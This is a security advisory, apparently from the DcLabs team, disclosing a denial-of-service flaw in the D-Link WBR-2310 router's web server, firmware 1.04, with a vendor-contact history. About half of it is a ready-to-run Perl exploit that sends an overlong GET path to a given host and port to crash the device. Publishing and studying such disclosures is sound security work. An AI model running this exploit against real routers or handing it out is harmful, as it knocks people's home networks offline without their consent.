[DCA-00014] Dlink WBR-2310 Wireless Router DoS



[DCA-00014]

[Software]

- Dlink WBR-2310 Embedded Web Server

[Vendor Product Description]

- The D-Link RangeBooster G™ WBR-2310 with enhanced 108 features the
industry’s first default 108Mbps* “Dynamic Mode” that allows clients
to always operate at the highest possible speeds while automatically
identifying and recognizing other D-Link RangeBooster G™ products for
highest performance capability and seamless access to the wireless
network in a homogeneous environment.

[Bug Description]

- The Embedded Web Server does not sanitize correctly a crafted GET
request leading to Denial-of-Service.

[History]

- Advisory sent to vendor on 07/20/2010
- No response from vendor
- We tried to contact again on 07/30/2010
- No response from vendor
- Public advisory & exploit 08/02/2010.

[Impact]

- Low-Medium

[Affected Version]

- Firmware Version: 1.04
- Hardware Version: A1
- Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;

if (@ARGV < 1) {
usage();
}

$ip = $ARGV[0];
$port = $ARGV[1];

print "[+] Sending request...\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
print $socket "GET
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";

sleep(3);
close($socket);

print "[+] Done!\n";

sub usage() {
print "[-] Usage: <". $0 ."> <host> <port>\n";
print "[-] Example: ". $0 ." 192.168.0.1 80\n";
exit;
}


[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br


[Greetz]
Crash and all Dclabs members.

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br



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